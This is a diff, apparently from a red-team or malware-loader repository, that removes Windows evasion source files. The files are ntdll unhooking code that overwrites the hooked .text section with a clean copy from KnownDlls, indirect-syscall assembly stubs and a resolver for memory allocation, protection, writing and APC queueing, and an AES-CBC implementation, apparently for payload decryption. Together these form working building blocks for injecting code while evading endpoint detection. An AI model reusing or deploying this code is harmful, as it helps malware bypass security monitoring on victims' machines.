ULONG AppModelFeatureState;
ULONG SpareUlongs[2];
USHORT ActiveCodePage;
USHORT OemCodePage;
USHORT UseCaseMapping;
USHORT UnusedNlsField;
PVOID WerRegistrationData;
PVOID WerShipAssertPtr;
union
{
PVOID pContextData; // WIN7
PVOID pUnused; // WIN10
PVOID EcCodeBitMap; // WIN11
};
PVOID pImageHeaderHash;
union
{
ULONG TracingFlags;
struct
{
ULONG HeapTracingEnabled : 1;
ULONG CritSecTracingEnabled : 1;
ULONG LibLoaderTracingEnabled : 1;
ULONG SpareTracingBits : 29;
};
};
ULONGLONG CsrServerReadOnlySharedMemoryBase;
PRTL_CRITICAL_SECTION TppWorkerpListLock;
LIST_ENTRY TppWorkerpList;
PVOID WaitOnAddressHashTable[128];
PVOID TelemetryCoverageHeader; // REDSTONE3
ULONG CloudFileFlags;
ULONG CloudFileDiagFlags; // REDSTONE4
CHAR PlaceholderCompatibilityMode;
CHAR PlaceholderCompatibilityModeReserved[7];
struct _LEAP_SECOND_DATA* LeapSecondData; // REDSTONE5
union
{
ULONG LeapSecondFlags;
struct
{
ULONG SixtySecondEnabled : 1;
ULONG Reserved : 31;
};
};
ULONG NtGlobalFlag2;
ULONGLONG ExtendedFeatureDisableMask; // since WIN11
} PEB, * PPEB;
typedef struct _AES {
PBYTE pPlainText; // base address of the plain text data
DWORD dwPlainSize; // size of the plain text data
PBYTE pCipherText; // base address of the encrypted data
DWORD dwCipherSize; // size of it (this can change from dwPlainSize in case there was padding)
PBYTE pKey; // the 32 byte key
PBYTE pIv; // the 16 byte iv
} AES, * PAES;
typedef LONG KPRIORITY;
typedef struct _SYSTEM_PROCESS_INFORMATION
{
ULONG NextEntryOffset;
ULONG NumberOfThreads;
LARGE_INTEGER WorkingSetPrivateSize; //VISTA
ULONG HardFaultCount; //WIN7
ULONG NumberOfThreadsHighWatermark; //WIN7
ULONGLONG CycleTime; //WIN7
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ImageName;
KPRIORITY BasePriority;
HANDLE UniqueProcessId;
HANDLE InheritedFromUniqueProcessId;
ULONG HandleCount;
ULONG SessionId;
ULONG_PTR PageDirectoryBase;
//
// This part corresponds to VM_COUNTERS_EX.
// NOTE: *NOT* THE SAME AS VM_COUNTERS!
//
SIZE_T PeakVirtualSize;
SIZE_T VirtualSize;
ULONG PageFaultCount;
SIZE_T PeakWorkingSetSize;
SIZE_T WorkingSetSize;
SIZE_T QuotaPeakPagedPoolUsage;
SIZE_T QuotaPagedPoolUsage;
SIZE_T QuotaPeakNonPagedPoolUsage;
SIZE_T QuotaNonPagedPoolUsage;
SIZE_T PagefileUsage;
SIZE_T PeakPagefileUsage;
SIZE_T PrivatePageCount;
//
// This part corresponds to IO_COUNTERS
//
LARGE_INTEGER ReadOperationCount;
LARGE_INTEGER WriteOperationCount;
LARGE_INTEGER OtherOperationCount;
LARGE_INTEGER ReadTransferCount;
LARGE_INTEGER WriteTransferCount;
LARGE_INTEGER OtherTransferCount;
// SYSTEM_THREAD_INFORMATION TH[1];
} SYSTEM_PROCESS_INFORMATION, * PSYSTEM_PROCESS_INFORMATION;
-131
View File
@@ -1,131 +0,0 @@
/*
Original Author: SaadAhla - https://github.com/SaadAhla/ntdlll-unhooking-collection
*/
#include <Windows.h>
#include "structs.h"
#include "functions.h"
#include <stdio.h>
#pragma comment(lib, "ntdll")
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#define OBJ_CASE_INSENSITIVE 0x00000040L
#define NtCurrentProcess() ((HANDLE)-1)
#define _CRT_SECURE_NO_WARNINGS
typedef const UNICODE_STRING* PCUNICODE_STRING;
NTSYSAPI VOID RtlInitUnicodeString(
PUNICODE_STRING DestinationString,
__drv_aliasesMem PCWSTR SourceString
);
typedef struct _OBJECT_ATTRIBUTES
{
ULONG Length;
HANDLE RootDirectory;
PCUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor; // PSECURITY_DESCRIPTOR;
PVOID SecurityQualityOfService; // PSECURITY_QUALITY_OF_SERVICE
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
typedef NTSTATUS(NTAPI* MyNtMapViewOfSection)(
HANDLE SectionHandle,
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
SIZE_T CommitSize,
PLARGE_INTEGER SectionOffset,
PSIZE_T ViewSize,
DWORD InheritDisposition,
ULONG AllocationType,
ULONG Win32Protect
);
NTSTATUS NtOpenSection(
OUT PHANDLE SectionHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes
);
#define InitializeObjectAttributes(p, n, a, r, s) { \
(p)->Length = sizeof(OBJECT_ATTRIBUTES); \
(p)->RootDirectory = r; \
(p)->Attributes = a; \
(p)->ObjectName = n; \
(p)->SecurityDescriptor = s; \
(p)->SecurityQualityOfService = NULL; \
}
LPVOID MapNtdll() {
UNICODE_STRING DestinationString;
const wchar_t SourceString[] = { '\\','K','n','o','w','n','D','l','l','s','\\','n','t','d','l','l','.','d','l','l', 0 };
RtlInitUnicodeString(&DestinationString, SourceString);
OBJECT_ATTRIBUTES ObAt;
InitializeObjectAttributes(&ObAt, &DestinationString, OBJ_CASE_INSENSITIVE, NULL, NULL);
HANDLE hSection;
NTSTATUS status1 = NtOpenSection(&hSection, SECTION_MAP_READ | SECTION_MAP_EXECUTE, &ObAt);
if (!NT_SUCCESS(status1)) {
printf("[!] Failed in NtOpenSection (%u)\n", GetLastError());
return NULL;
}
PVOID pntdll = NULL;
ULONG_PTR ViewSize = 0;
MyNtMapViewOfSection pNtMapViewOfSection = (MyNtMapViewOfSection)(GetProcAddressH(GetModuleHandleH(#-NTDLL_VALUE-#), #-NTMVOS_VALUE-#));
NTSTATUS status2 = pNtMapViewOfSection(hSection, NtCurrentProcess(), &pntdll, 0, 0, NULL, &ViewSize, 1, 0, PAGE_READONLY);
if (!NT_SUCCESS(status2)) {
printf("[!] Failed in NtMapViewOfSection (%u)\n", GetLastError());
getchar();
return NULL;
}
return pntdll;
}
BOOL Unhook(LPVOID module) {
HANDLE hntdll = GetModuleHandleH(#-NTDLL_VALUE-#);
PIMAGE_DOS_HEADER DOSheader = (PIMAGE_DOS_HEADER)module;
PIMAGE_NT_HEADERS NTheader = (PIMAGE_NT_HEADERS)((char*)(module)+DOSheader->e_lfanew);
if (!NTheader) {
printf(" [-] Not a PE file\n");
return FALSE;
}
PIMAGE_SECTION_HEADER sectionHdr = IMAGE_FIRST_SECTION(NTheader);
DWORD oldprotect = 0;
for (WORD i = 0; i < NTheader->FileHeader.NumberOfSections; i++) {
char txt[] = { '.','t','e','x','t', 0 };
if (!strcmp((char*)sectionHdr->Name, txt)) {
BOOL status1 = VirtualProtect((LPVOID)((DWORD64)hntdll + sectionHdr->VirtualAddress), sectionHdr->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldprotect);
if (!status1)
return FALSE;
memcpy((LPVOID)((DWORD64)hntdll + sectionHdr->VirtualAddress), (LPVOID)((DWORD64)module + sectionHdr->VirtualAddress), sectionHdr->Misc.VirtualSize);
BOOL status2 = VirtualProtect((LPVOID)((DWORD64)hntdll + sectionHdr->VirtualAddress), sectionHdr->Misc.VirtualSize, oldprotect, &oldprotect);
if (!status2)
return FALSE;
}
return TRUE;
}
}
@@ -1,123 +0,0 @@
; ===============================================================
; NASM x64 version of your assembly.
; Save as "whispers-asm.nasm", for example.
; Assemble: nasm -f win64 whispers-asm.nasm -o whispers-asm.obj
; Link: x86_64-w64-mingw32-gcc main.c whispers-asm.obj -o myprogram.exe
; ===============================================================
bits 64 ; 64-bit code
default rel ; Use RIP-relative addressing by default
section .text
; Export the labels so your C code can call them
global NTAVM
global NTPVM
global NTWVM
global NTQAT
; Declare external symbols (the calls to these are in your code)
extern SW3_GetSyscallNumber
extern SW3_GetRandomSyscallAddress
; ---------------------------------------------------------------------------
; NTAVM
; ---------------------------------------------------------------------------
NTAVM:
mov [rsp + 8], rcx ; Save registers
mov [rsp + 16], rdx
mov [rsp + 24], r8
mov [rsp + 32], r9
sub rsp, 0x28
mov ecx, 0xC189CD1E ; Load function hash into ECX
call SW3_GetRandomSyscallAddress
mov r11, rax ; Save the address of the syscall
mov ecx, 0xC189CD1E ; Re-load function hash (optional)
call SW3_GetSyscallNumber
add rsp, 0x28
mov rcx, [rsp + 8] ; Restore registers
mov rdx, [rsp + 16]
mov r8, [rsp + 24]
mov r9, [rsp + 32]
mov r10, rcx
jmp r11 ; Jump to -> Invoke system call
; ---------------------------------------------------------------------------
; NTPVM
; ---------------------------------------------------------------------------
NTPVM:
mov [rsp + 8], rcx
mov [rsp + 16], rdx
mov [rsp + 24], r8
mov [rsp + 32], r9
sub rsp, 0x28
mov ecx, 0x159D0313 ; Load function hash
call SW3_GetRandomSyscallAddress
mov r11, rax
mov ecx, 0x159D0313 ; Re-load function hash
call SW3_GetSyscallNumber
add rsp, 0x28
mov rcx, [rsp + 8]
mov rdx, [rsp + 16]
mov r8, [rsp + 24]
mov r9, [rsp + 32]
mov r10, rcx
jmp r11
; ---------------------------------------------------------------------------
; NTWVM
; ---------------------------------------------------------------------------
NTWVM:
mov [rsp + 8], rcx
mov [rsp + 16], rdx
mov [rsp + 24], r8
mov [rsp + 32], r9
sub rsp, 0x28
mov ecx, 0x83179B97 ; Load function hash
call SW3_GetRandomSyscallAddress
mov r11, rax
mov ecx, 0x83179B97
call SW3_GetSyscallNumber
add rsp, 0x28
mov rcx, [rsp + 8]
mov rdx, [rsp + 16]
mov r8, [rsp + 24]
mov r9, [rsp + 32]
mov r10, rcx
jmp r11
; ---------------------------------------------------------------------------
; NTQAT
; ---------------------------------------------------------------------------
NTQAT:
mov [rsp + 8], rcx
mov [rsp + 16], rdx
mov [rsp + 24], r8
mov [rsp + 32], r9
sub rsp, 0x28
mov ecx, 0x88AE129F ; Load function hash
call SW3_GetRandomSyscallAddress
mov r11, rax
mov ecx, 0x88AE129F
call SW3_GetSyscallNumber
add rsp, 0x28
mov rcx, [rsp + 8]
mov rdx, [rsp + 16]
mov r8, [rsp + 24]
mov r9, [rsp + 32]
mov r10, rcx
jmp r11
; End of file
-278
View File
@@ -1,278 +0,0 @@
#include "whispers.h"
#include <stdio.h>
//#define DEBUG
#define JUMPER
#ifdef _M_IX86
EXTERN_C PVOID internal_cleancall_wow64_gate(VOID) {
return (PVOID)__readfsdword(0xC0);
}
__declspec(naked) BOOL local_is_wow64(void)
{
__asm {
mov eax, fs:[0xc0]
test eax, eax
jne wow64
mov eax, 0
ret
wow64:
mov eax, 1
ret
}
}
#endif
// Code below is adapted from @modexpblog. Read linked article for more details.
// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams
SW3_SYSCALL_LIST SW3_SyscallList;
// SEARCH_AND_REPLACE
#ifdef SEARCH_AND_REPLACE
// THIS IS NOT DEFINED HERE; don't know if I'll add it in a future release
EXTERN void SearchAndReplace(unsigned char[], unsigned char[]);
#endif
DWORD SW3_HashSyscall(PCSTR FunctionName)
{
DWORD i = 0;
DWORD Hash = SW3_SEED;
while (FunctionName[i])
{
WORD PartialName = *(WORD*)((ULONG_PTR)FunctionName + i++);
Hash ^= PartialName + SW3_ROR8(Hash);
}
return Hash;
}
#ifndef JUMPER
PVOID SC_Address(PVOID NtApiAddress)
{
return NULL;
}
#else
PVOID SC_Address(PVOID NtApiAddress)
{
DWORD searchLimit = 512;
PVOID SyscallAddress;
#ifdef _WIN64
// If the process is 64-bit on a 64-bit OS, we need to search for syscall
BYTE syscall_code[] = { 0x0f, 0x05, 0xc3 };
ULONG distance_to_syscall = 0x12;
#else
// If the process is 32-bit on a 32-bit OS, we need to search for sysenter
BYTE syscall_code[] = { 0x0f, 0x34, 0xc3 };
ULONG distance_to_syscall = 0x0f;
#endif
#ifdef _M_IX86
// If the process is 32-bit on a 64-bit OS, we need to jump to WOW32Reserved
if (local_is_wow64())
{
#ifdef DEBUG
printf("[+] Running 32-bit app on x64 (WOW64)\n");
#endif
return NULL;
}
#endif
// we don't really care if there is a 'jmp' between
// NtApiAddress and the 'syscall; ret' instructions
SyscallAddress = SW3_RVA2VA(PVOID, NtApiAddress, distance_to_syscall);
if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code)))
{
// we can use the original code for this system call :)
#if defined(DEBUG)
printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress);
#endif
return SyscallAddress;
}
// the 'syscall; ret' intructions have not been found,
// we will try to use one near it, similarly to HalosGate
for (ULONG32 num_jumps = 1; num_jumps < searchLimit; num_jumps++)
{
// let's try with an Nt* API below our syscall
SyscallAddress = SW3_RVA2VA(
PVOID,
NtApiAddress,
distance_to_syscall + num_jumps * 0x20);
if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code)))
{
#if defined(DEBUG)
printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress);
#endif
return SyscallAddress;
}
// let's try with an Nt* API above our syscall
SyscallAddress = SW3_RVA2VA(
PVOID,
NtApiAddress,
distance_to_syscall - num_jumps * 0x20);
if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code)))
{
#if defined(DEBUG)
printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress);
#endif
return SyscallAddress;
}
}
#ifdef DEBUG
printf("Syscall Opcodes not found!\n");
#endif
return NULL;
}
#endif
BOOL SW3_PopulateSyscallList()
{
// Return early if the list is already populated.
if (SW3_SyscallList.Count) return TRUE;
#ifdef _WIN64
PSW3_PEB Peb = (PSW3_PEB)__readgsqword(0x60);
#else
PSW3_PEB Peb = (PSW3_PEB)__readfsdword(0x30);
#endif
PSW3_PEB_LDR_DATA Ldr = Peb->Ldr;
PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL;
PVOID DllBase = NULL;
// Get the DllBase address of NTDLL.dll. NTDLL is not guaranteed to be the second
// in the list, so it's safer to loop through the full list and find it.
PSW3_LDR_DATA_TABLE_ENTRY LdrEntry;
for (LdrEntry = (PSW3_LDR_DATA_TABLE_ENTRY)Ldr->Reserved2[1]; LdrEntry->DllBase != NULL; LdrEntry = (PSW3_LDR_DATA_TABLE_ENTRY)LdrEntry->Reserved1[0])
{
DllBase = LdrEntry->DllBase;
PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)DllBase;
PIMAGE_NT_HEADERS NtHeaders = SW3_RVA2VA(PIMAGE_NT_HEADERS, DllBase, DosHeader->e_lfanew);
PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory;
DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
if (VirtualAddress == 0) continue;
ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)SW3_RVA2VA(ULONG_PTR, DllBase, VirtualAddress);
// If this is NTDLL.dll, exit loop.
PCHAR DllName = SW3_RVA2VA(PCHAR, DllBase, ExportDirectory->Name);
if ((*(ULONG*)DllName | 0x20202020) != 0x6c64746e) continue;
if ((*(ULONG*)(DllName + 4) | 0x20202020) == 0x6c642e6c) break;
}
if (!ExportDirectory) return FALSE;
DWORD NumberOfNames = ExportDirectory->NumberOfNames;
PDWORD Functions = SW3_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfFunctions);
PDWORD Names = SW3_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfNames);
PWORD Ordinals = SW3_RVA2VA(PWORD, DllBase, ExportDirectory->AddressOfNameOrdinals);
// Populate SW3_SyscallList with unsorted Zw* entries.
DWORD i = 0;
PSW3_SYSCALL_ENTRY Entries = SW3_SyscallList.Entries;
do
{
PCHAR FunctionName = SW3_RVA2VA(PCHAR, DllBase, Names[NumberOfNames - 1]);
// Is this a system call?
if (*(USHORT*)FunctionName == 0x775a)
{
Entries[i].Hash = SW3_HashSyscall(FunctionName);
Entries[i].Address = Functions[Ordinals[NumberOfNames - 1]];
Entries[i].SyscallAddress = SC_Address(SW3_RVA2VA(PVOID, DllBase, Entries[i].Address));
i++;
if (i == SW3_MAX_ENTRIES) break;
}
} while (--NumberOfNames);
// Save total number of system calls found.
SW3_SyscallList.Count = i;
// Sort the list by address in ascending order.
for (DWORD i = 0; i < SW3_SyscallList.Count - 1; i++)
{
for (DWORD j = 0; j < SW3_SyscallList.Count - i - 1; j++)
{
if (Entries[j].Address > Entries[j + 1].Address)
{
// Swap entries.
SW3_SYSCALL_ENTRY TempEntry;
TempEntry.Hash = Entries[j].Hash;
TempEntry.Address = Entries[j].Address;
TempEntry.SyscallAddress = Entries[j].SyscallAddress;
Entries[j].Hash = Entries[j + 1].Hash;
Entries[j].Address = Entries[j + 1].Address;
Entries[j].SyscallAddress = Entries[j + 1].SyscallAddress;
Entries[j + 1].Hash = TempEntry.Hash;
Entries[j + 1].Address = TempEntry.Address;
Entries[j + 1].SyscallAddress = TempEntry.SyscallAddress;
}
}
}
return TRUE;
}
EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash)
{
// Ensure SW3_SyscallList is populated.
if (!SW3_PopulateSyscallList()) return -1;
for (DWORD i = 0; i < SW3_SyscallList.Count; i++)
{
if (FunctionHash == SW3_SyscallList.Entries[i].Hash)
{
return i;
}
}
return -1;
}
EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash)
{
// Ensure SW3_SyscallList is populated.
if (!SW3_PopulateSyscallList()) return NULL;
for (DWORD i = 0; i < SW3_SyscallList.Count; i++)
{
if (FunctionHash == SW3_SyscallList.Entries[i].Hash)
{
return SW3_SyscallList.Entries[i].SyscallAddress;
}
}
return NULL;
}
EXTERN_C PVOID SW3_GetRandomSyscallAddress(DWORD FunctionHash)
{
// Ensure SW3_SyscallList is populated.
if (!SW3_PopulateSyscallList()) return NULL;
DWORD index = ((DWORD) rand()) % SW3_SyscallList.Count;
while (FunctionHash == SW3_SyscallList.Entries[index].Hash){
// Spoofing the syscall return address
index = ((DWORD) rand()) % SW3_SyscallList.Count;
}
return SW3_SyscallList.Entries[index].SyscallAddress;
}
-100
View File
@@ -1,100 +0,0 @@
#pragma once
// Code below is adapted from @modexpblog. Read linked article for more details.
// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams
#ifndef SW3_HEADER_H_
#define SW3_HEADER_H_
#include <windows.h>
#ifndef _NTDEF_
typedef _Return_type_success_(return >= 0) LONG NTSTATUS;
typedef NTSTATUS* PNTSTATUS;
#endif
#define SW3_SEED 0x51EBD349
#define SW3_ROL8(v) (v << 8 | v >> 24)
#define SW3_ROR8(v) (v >> 8 | v << 24)
#define SW3_ROX8(v) ((SW3_SEED % 2) ? SW3_ROL8(v) : SW3_ROR8(v))
#define SW3_MAX_ENTRIES 600
#define SW3_RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva)
// Typedefs are prefixed to avoid pollution.
typedef struct _SW3_SYSCALL_ENTRY
{
DWORD Hash;
DWORD Address;
PVOID SyscallAddress;
} SW3_SYSCALL_ENTRY, *PSW3_SYSCALL_ENTRY;
typedef struct _SW3_SYSCALL_LIST
{
DWORD Count;
SW3_SYSCALL_ENTRY Entries[SW3_MAX_ENTRIES];
} SW3_SYSCALL_LIST, *PSW3_SYSCALL_LIST;
typedef struct _SW3_PEB_LDR_DATA {
BYTE Reserved1[8];
PVOID Reserved2[3];
LIST_ENTRY InMemoryOrderModuleList;
} SW3_PEB_LDR_DATA, *PSW3_PEB_LDR_DATA;
typedef struct _SW3_LDR_DATA_TABLE_ENTRY {
PVOID Reserved1[2];
LIST_ENTRY InMemoryOrderLinks;
PVOID Reserved2[2];
PVOID DllBase;
} SW3_LDR_DATA_TABLE_ENTRY, *PSW3_LDR_DATA_TABLE_ENTRY;
typedef struct _SW3_PEB {
BYTE Reserved1[2];
BYTE BeingDebugged;
BYTE Reserved2[1];
PVOID Reserved3[2];
PSW3_PEB_LDR_DATA Ldr;
} SW3_PEB, *PSW3_PEB;
DWORD SW3_HashSyscall(PCSTR FunctionName);
BOOL SW3_PopulateSyscallList();
EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash);
EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash);
EXTERN_C PVOID internal_cleancall_wow64_gate(VOID);
typedef VOID(KNORMAL_ROUTINE) (
IN PVOID NormalContext,
IN PVOID SystemArgument1,
IN PVOID SystemArgument2);
typedef KNORMAL_ROUTINE* PKNORMAL_ROUTINE;
EXTERN_C NTSTATUS NTAVM(
IN HANDLE ProcessHandle,
IN OUT PVOID * BaseAddress,
IN ULONG ZeroBits,
IN OUT PSIZE_T RegionSize,
IN ULONG AllocationType,
IN ULONG Protect);
EXTERN_C NTSTATUS NTPVM(
IN HANDLE ProcessHandle,
IN OUT PVOID * BaseAddress,
IN OUT PSIZE_T RegionSize,
IN ULONG NewProtect,
OUT PULONG OldProtect);
EXTERN_C NTSTATUS NTWVM(
IN HANDLE ProcessHandle,
IN PVOID BaseAddress,
IN PVOID Buffer,
IN SIZE_T NumberOfBytesToWrite,
OUT PSIZE_T NumberOfBytesWritten OPTIONAL);
EXTERN_C NTSTATUS NTQAT(
IN HANDLE ThreadHandle,
IN PKNORMAL_ROUTINE ApcRoutine,
IN PVOID ApcArgument1 OPTIONAL,
IN PVOID ApcArgument2 OPTIONAL,
IN PVOID ApcArgument3 OPTIONAL);
#endif
-965
View File
@@ -1,965 +0,0 @@
/*
Original Implementation: https://github.com/halloweeks/AES-128-CBC
Modifications from MochaByte to handle data of any size.
MIT License
Copyright (c) 2024 Hallo Weeks
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
#include <stdint.h>
#ifndef __AES_128_CBC_H__
#define __AES_128_CBC_H__
#define AES_BLOCK_SIZE 16
#define AES_KEY_SIZE 16
#define GETU32(in_data) (((unsigned int)(in_data)[0] << 24) ^ \
((unsigned int)(in_data)[1] << 16) ^ \
((unsigned int)(in_data)[2] << 8) ^ \
((unsigned int)(in_data)[3] << 0))
#define PUTU32(out_data, st) { (out_data)[0] = (unsigned char)((st) >> 24); \
(out_data)[1] = (unsigned char)((st) >> 16); \
(out_data)[2] = (unsigned char)((st) >> 8); \
(out_data)[3] = (unsigned char)((st) >> 0); }
static const unsigned int Te0[256] =
{
0xc66363a5U, 0xf87c7c84U, 0xee777799U, 0xf67b7b8dU,
0xfff2f20dU, 0xd66b6bbdU, 0xde6f6fb1U, 0x91c5c554U,
0x60303050U, 0x02010103U, 0xce6767a9U, 0x562b2b7dU,
0xe7fefe19U, 0xb5d7d762U, 0x4dababe6U, 0xec76769aU,
0x8fcaca45U, 0x1f82829dU, 0x89c9c940U, 0xfa7d7d87U,
0xeffafa15U, 0xb25959ebU, 0x8e4747c9U, 0xfbf0f00bU,
0x41adadecU, 0xb3d4d467U, 0x5fa2a2fdU, 0x45afafeaU,
0x239c9cbfU, 0x53a4a4f7U, 0xe4727296U, 0x9bc0c05bU,
0x75b7b7c2U, 0xe1fdfd1cU, 0x3d9393aeU, 0x4c26266aU,
0x6c36365aU, 0x7e3f3f41U, 0xf5f7f702U, 0x83cccc4fU,
0x6834345cU, 0x51a5a5f4U, 0xd1e5e534U, 0xf9f1f108U,
0xe2717193U, 0xabd8d873U, 0x62313153U, 0x2a15153fU,
0x0804040cU, 0x95c7c752U, 0x46232365U, 0x9dc3c35eU,
0x30181828U, 0x379696a1U, 0x0a05050fU, 0x2f9a9ab5U,
0x0e070709U, 0x24121236U, 0x1b80809bU, 0xdfe2e23dU,
0xcdebeb26U, 0x4e272769U, 0x7fb2b2cdU, 0xea75759fU,
0x1209091bU, 0x1d83839eU, 0x582c2c74U, 0x341a1a2eU,
0x361b1b2dU, 0xdc6e6eb2U, 0xb45a5aeeU, 0x5ba0a0fbU,
0xa45252f6U, 0x763b3b4dU, 0xb7d6d661U, 0x7db3b3ceU,
0x5229297bU, 0xdde3e33eU, 0x5e2f2f71U, 0x13848497U,
0xa65353f5U, 0xb9d1d168U, 0x00000000U, 0xc1eded2cU,
0x40202060U, 0xe3fcfc1fU, 0x79b1b1c8U, 0xb65b5bedU,
0xd46a6abeU, 0x8dcbcb46U, 0x67bebed9U, 0x7239394bU,
0x944a4adeU, 0x984c4cd4U, 0xb05858e8U, 0x85cfcf4aU,
0xbbd0d06bU, 0xc5efef2aU, 0x4faaaae5U, 0xedfbfb16U,
0x864343c5U, 0x9a4d4dd7U, 0x66333355U, 0x11858594U,
0x8a4545cfU, 0xe9f9f910U, 0x04020206U, 0xfe7f7f81U,
0xa05050f0U, 0x783c3c44U, 0x259f9fbaU, 0x4ba8a8e3U,
0xa25151f3U, 0x5da3a3feU, 0x804040c0U, 0x058f8f8aU,
0x3f9292adU, 0x219d9dbcU, 0x70383848U, 0xf1f5f504U,
0x63bcbcdfU, 0x77b6b6c1U, 0xafdada75U, 0x42212163U,
0x20101030U, 0xe5ffff1aU, 0xfdf3f30eU, 0xbfd2d26dU,
0x81cdcd4cU, 0x180c0c14U, 0x26131335U, 0xc3ecec2fU,
0xbe5f5fe1U, 0x359797a2U, 0x884444ccU, 0x2e171739U,
0x93c4c457U, 0x55a7a7f2U, 0xfc7e7e82U, 0x7a3d3d47U,
0xc86464acU, 0xba5d5de7U, 0x3219192bU, 0xe6737395U,
0xc06060a0U, 0x19818198U, 0x9e4f4fd1U, 0xa3dcdc7fU,
0x44222266U, 0x542a2a7eU, 0x3b9090abU, 0x0b888883U,
0x8c4646caU, 0xc7eeee29U, 0x6bb8b8d3U, 0x2814143cU,
0xa7dede79U, 0xbc5e5ee2U, 0x160b0b1dU, 0xaddbdb76U,
0xdbe0e03bU, 0x64323256U, 0x743a3a4eU, 0x140a0a1eU,
0x924949dbU, 0x0c06060aU, 0x4824246cU, 0xb85c5ce4U,
0x9fc2c25dU, 0xbdd3d36eU, 0x43acacefU, 0xc46262a6U,
0x399191a8U, 0x319595a4U, 0xd3e4e437U, 0xf279798bU,
0xd5e7e732U, 0x8bc8c843U, 0x6e373759U, 0xda6d6db7U,
0x018d8d8cU, 0xb1d5d564U, 0x9c4e4ed2U, 0x49a9a9e0U,
0xd86c6cb4U, 0xac5656faU, 0xf3f4f407U, 0xcfeaea25U,
0xca6565afU, 0xf47a7a8eU, 0x47aeaee9U, 0x10080818U,
0x6fbabad5U, 0xf0787888U, 0x4a25256fU, 0x5c2e2e72U,
0x381c1c24U, 0x57a6a6f1U, 0x73b4b4c7U, 0x97c6c651U,
0xcbe8e823U, 0xa1dddd7cU, 0xe874749cU, 0x3e1f1f21U,
0x964b4bddU, 0x61bdbddcU, 0x0d8b8b86U, 0x0f8a8a85U,
0xe0707090U, 0x7c3e3e42U, 0x71b5b5c4U, 0xcc6666aaU,
0x904848d8U, 0x06030305U, 0xf7f6f601U, 0x1c0e0e12U,
0xc26161a3U, 0x6a35355fU, 0xae5757f9U, 0x69b9b9d0U,
0x17868691U, 0x99c1c158U, 0x3a1d1d27U, 0x279e9eb9U,
0xd9e1e138U, 0xebf8f813U, 0x2b9898b3U, 0x22111133U,
0xd26969bbU, 0xa9d9d970U, 0x078e8e89U, 0x339494a7U,
0x2d9b9bb6U, 0x3c1e1e22U, 0x15878792U, 0xc9e9e920U,
0x87cece49U, 0xaa5555ffU, 0x50282878U, 0xa5dfdf7aU,
0x038c8c8fU, 0x59a1a1f8U, 0x09898980U, 0x1a0d0d17U,
0x65bfbfdaU, 0xd7e6e631U, 0x844242c6U, 0xd06868b8U,
0x824141c3U, 0x299999b0U, 0x5a2d2d77U, 0x1e0f0f11U,
0x7bb0b0cbU, 0xa85454fcU, 0x6dbbbbd6U, 0x2c16163aU,
};
static const unsigned int Te1[256] =
{
0xa5c66363U, 0x84f87c7cU, 0x99ee7777U, 0x8df67b7bU,
0x0dfff2f2U, 0xbdd66b6bU, 0xb1de6f6fU, 0x5491c5c5U,
0x50603030U, 0x03020101U, 0xa9ce6767U, 0x7d562b2bU,
0x19e7fefeU, 0x62b5d7d7U, 0xe64dababU, 0x9aec7676U,
0x458fcacaU, 0x9d1f8282U, 0x4089c9c9U, 0x87fa7d7dU,
0x15effafaU, 0xebb25959U, 0xc98e4747U, 0x0bfbf0f0U,
0xec41adadU, 0x67b3d4d4U, 0xfd5fa2a2U, 0xea45afafU,
0xbf239c9cU, 0xf753a4a4U, 0x96e47272U, 0x5b9bc0c0U,
0xc275b7b7U, 0x1ce1fdfdU, 0xae3d9393U, 0x6a4c2626U,
0x5a6c3636U, 0x417e3f3fU, 0x02f5f7f7U, 0x4f83ccccU,
0x5c683434U, 0xf451a5a5U, 0x34d1e5e5U, 0x08f9f1f1U,
